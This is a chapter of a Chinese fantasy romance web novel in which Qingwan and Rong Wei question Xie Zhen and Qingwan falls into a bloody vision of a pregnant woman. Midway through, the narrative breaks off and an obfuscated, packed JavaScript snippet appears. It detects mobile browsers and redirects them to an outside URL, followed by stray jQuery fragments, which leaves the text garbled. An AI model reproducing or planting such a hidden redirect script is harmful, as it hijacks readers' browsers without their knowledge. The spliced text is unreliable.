14.诡境

作品:《国师夫人她红杏出墙

    回应她的是容危微蹙的眉头。


    “我不会打架!”


    一句话说得诚恳无比,却将青浣惊得目瞪口呆,一度以为是风太大,她听错了。


    可此处寒风皆被结界所隔,绕在耳边的只有徐徐微风,不至于扰乱了字音。


    那当初对她又掐脖子,又放星芒,甚至大殿之中一剑砍飞戒律长老长鞭的是谁?


    笋芽将青浣的心音尽数重复了一遍。


    容危停下脚步,轻声说:“那就是会打架吗?”


    青浣语塞,他有绝对实力傍身,确实不需要怎么动手。


    “我这里确实有阁中弟子修炼功法,可给你!”


    青浣主打一个不要白不要,朝他伸出手,黑眸之中神采熠熠,双手朝上,十分地恭敬。


    容危在怀中摸索片刻,最终却双手一负,启唇道:“今日未曾带在身上。”


    青浣的目光透着不可置信,作势伸手要打,却最终只碰到了容危的袖口。


    一阵脚步声从二人身后而来,还带着细细的研磨声。


    她转身去看,就见崔煜怀里正抱着杵臼而来,走近了还带着一股青草药特有的草腥气。


    青浣侧身望了望,问:“这是什么?”


    “紫珠草,将鲜叶捣碎,可以止血,也能除疤。”


    说着他还朝前方的院子瞧去。


    青浣这才意识到,前面就是谢蓁所居之处。


    心下了然。


    同时在灵台之中呼唤容危:“圣子,不如去谢蓁处问问,或许也能问出什么线索。”


    容危朝她微微颔首。


    三人一同行,敲开了谢蓁的院门。


    远远地青浣就看到那棵海棠树,枝叶繁茂,靠向院中的这一侧却只零星的缀着几滴粉白,反倒是伸出去的那一枝,花团锦簇。


    她不禁暗笑,心想原来容危也有这般小气的时候,好景只能自己看。


    刚笑出声突然想起两人灵台相连,连忙咬住了下唇,细小的钝痛提醒她转移思绪。


    她悄悄瞟了一眼容危,后者神色如常,想来是没有听到。


    几人走到院中,谢蓁正坐在廊下,旁边婢女湿了帕子,正替她清洗患处,女孩家皮肤娇嫩,疼得她直皱眉。


    看见他们走来,谢蓁挥挥手让人退下,起身挨个招呼他们。


    容危让其不必多礼。崔煜走上前去,仔细看了看谢蓁的伤处。


    女孩子伤在脸上,大多是不愿见人的,谢蓁却大大方方任由他们盯着,没有丝毫扭捏,可见爽朗的个性。青浣内心更加喜欢。


    “这是紫珠草,敷于患处可止血生肌,不留疤痕。”崔煜将杵臼交给谢蓁婢女,加以叮嘱:“清洗伤患之后,用纱布细细包上,一日两次。”


    青浣看着那绿油油的药汁,想到容危的手,出言朝崔煜要道:“这紫珠草可还有?也给我一份!”


    以为她受伤,崔煜眼中泛起担心,看了几个来回也没看到她有外伤,青浣索性直接伸手,将容危手上的束伤带扯下:“是他!”


    那伤口经过几遭,如今深可见骨,十分可怖,一时间将崔煜吓了一跳,舌头打结:“怎……怎会如此严重。”


    伤口暴露在外,掌心微凉。


    青浣握着他的手腕,指下脉搏强劲有力,与自己的心跳渐渐合拍。


    容危蜷了蜷手,被盯得不自在。


    崔煜在那乾坤袋里翻了翻,又翻出一把紫珠草来,清洗一番,在旁边铛铛铛地砸着。


    那厢谢蓁捂着包扎好的伤口,飞奔来看,许是对这院子地形不习惯,脚下不知绊到什么,一个踉跄,就朝青浣他们倒来。


    电光火石之间,青浣松开容危,一个旋身,接住了快要倒地的谢蓁。


    而下一刻,有什么东西钻入了她的脑子。


    青浣眼中涌现迷离,容危的双唇不断启合,呼唤她的声音却像是被一汪深泉阻隔,一丝也透不过来。


    在他深深的目光之中,青浣眼前突然血红一片,浓稠的血光从天际泼洒下来,耳边全是女人的尖啸。


    “啊——”


    铜盆当啷落地,人也倒地不起。


    水打到青浣的袍角,浸湿了绣在那里的五瓣梅。热气被夜风吹散,黏在身上冰凉一片。


    一扇门在她眼前虚掩着,一线烛光从中漏出,打在青浣的左眼上,目光顺着光亮投射到屋内的妇人身上。


    那妇人卧在榻上,一只手覆盖在高高隆起的肚子上,以指为刃,竟是生生剖开了自己肚子,鲜血染红手腕,手还在腹中搅动着。


    屋内的场景使得青浣恶心作呕,心如擂鼓!她下意识地想躲避,双腿被寒意钉死在原地,挪动不了半寸。


    她只能眼睁睁看着,屋内的妇人也察觉门口有人,远远地飞来一个眼神,媚意十足。


    她的手在腹中搅弄半天,缓缓提出来一个血淋淋的东西。


    “孩儿,瞧,姑姑来看你了!”


    袍子越来越凉,血色越来越浓,淹没了青浣的瞳仁。


    一股力量从灵台袭来,生生将青浣拽了出去。


    回到现世的一瞬间,青浣浑身力气尽失,被容危环抱怀间,额间是含着暖意的指尖,驱散一身寒意。


    “你怎么了?”谢蓁站在身侧,脸上满是担忧。青浣怕那场景吓到她,摇摇头搪塞道:“有些晕,无碍。”


    容危将她安置在廊下的躺椅上。


    灵台内


    青浣:“你可有看见?”


    容危:“嗯!”


    出来的那一刻,青浣才分辨出那股惧意并不是她的。


    谢蓁从屋内倒了杯水,塞到她手里。


    “你看!”容危抬了抬下颌,眼神指向谢蓁,一朵五瓣梅缀在衣角,栩栩如生。


    青浣接了茶水,轻啜一口,抚摸着谢蓁的衣角感叹:“好漂亮的纹样。”


    听到夸赞,谢蓁莞尔一笑,解释道:“这是我谢府的家族纹样,凡是谢家人,都要在衣衫之上绣上这么一朵。”


    青浣的目光从梅花上转了一圈,指尖带着不舍,又问道:“是都有吗?”


    “嗯,都有,只是不大相同。”


    谢蓁心思单纯,对青浣并不设防。


    “我们谢府人多,我父亲是长兄,所以祖父定以梅纹,其他三位叔叔院中,分别定以兰纹、竹纹、菊纹,以作区分。”


    “是府中之人都要佩戴吗?”


    谢蓁摇了摇头:“我们院中,只有大哥二哥和我佩戴。”


    青浣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293273|166568||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边听边叹,幸好谢府规矩森严,倒也替她省了不少事。


    知晓了主人公是谁,青浣准备开门见山。


    杯盏放在躺椅旁的案几上,打出叮的一声脆响,眼神也随着声音变得犀利,直勾勾地盯着谢蓁。


    谢蓁不明所以,看看她,又看看容危。


    容危率先开口:“那晚,你在房中看到的人是你二嫂?”


    闻言谢蓁的眼中闪过一丝疑惑,摇摇头,语气迟疑:“什么?”


    青浣看她不明白,接着容危的话,换一种方式问道:“你府中那有孕的可是谢尧的妻子,她叫什么?”


    谢蓁更加疑惑了:“有孕?二嫂并无身孕啊?你们在说什么?”


    青浣直起身,仔细观瞧谢蓁的神色,“不似说谎。”她在灵台同容危讲道。


    “回去再说。”容危转身便走,青浣也起身追上他的脚步。


    崔煜在后面喊道:“药还没上呢!”


    青浣这才又想起这件事来,从崔煜手里接过那汁水淋漓的草药,看着容危。


    容危脸色闪过一丝无奈,抬起了手。


    草药带着凉意,触碰到红肿的伤口,激起针扎的感觉,不疼,却是一阵阵的痒意。


    涂好后,青浣朝他的伤口处吹了吹,替他重新系上束伤带,这才一同回到属于他们的院落之中。


    窗前已经被飘来的海棠染得粉嫩一片,枝上的花却丝毫不见少。


    看见这情形,青浣忍不住埋怨了一句:“圣子神力还是省着些吧,这花真的有这么好看吗?”


    说完抬腿进了屋,坐在桌旁,双手托腮。


    “那么可怕的场景,我看见心里都有一股寒意,谢蓁她怎么会忘得如此干净?会不会是因为时间裂缝的原因?”


    “不会,时间裂缝不会让人忘记事情。而且你忽略了一件事。”


    青浣茫然不解。


    “你是怎么进入那诡异之境的?”


    是了,此前从没有过。


    “那……”


    容危的眼睛微眯一下,青浣立刻知晓他的意思,闭嘴不言。


    但脑子里却十分热闹。


    “你是说有人故意的?”


    “不知!”


    “那是为什么?”


    “要去查!”


    青浣陷入迷茫,没了头绪,日光朝西偏了半寸,青浣百无聊赖之间描摹光影,突然间福至心灵。


    在灵台内嚷了一声。


    “我知道了!”


    容危平时偏爱对弈静心,此刻却被她这一嗓子惊得指尖棋子滚落,咕噜咕噜滚到青浣脚边,她伸手拾了,走过去丢在棋罐之中。


    看向容危的脸上满满的全是你快来问我的样子。


    容危倒是也顺她的意:“是什么?”


    青浣有心卖关子,从他手边拿了装着白色棋子的棋罐,将里面的棋子哗啦啦全倒出后又推给他:“这样你还能下棋吗?”


    容危淡淡地回她:“不能。”


    “那……若是这样呢?”


    拉回棋罐,她又将倒出来的棋子装了回去,顺便将棋盘之上的也一个一个捡了,全数投入其中。


    容危接过,满满一罐,沉甸甸的,足以在方寸的棋盘之上大杀四方。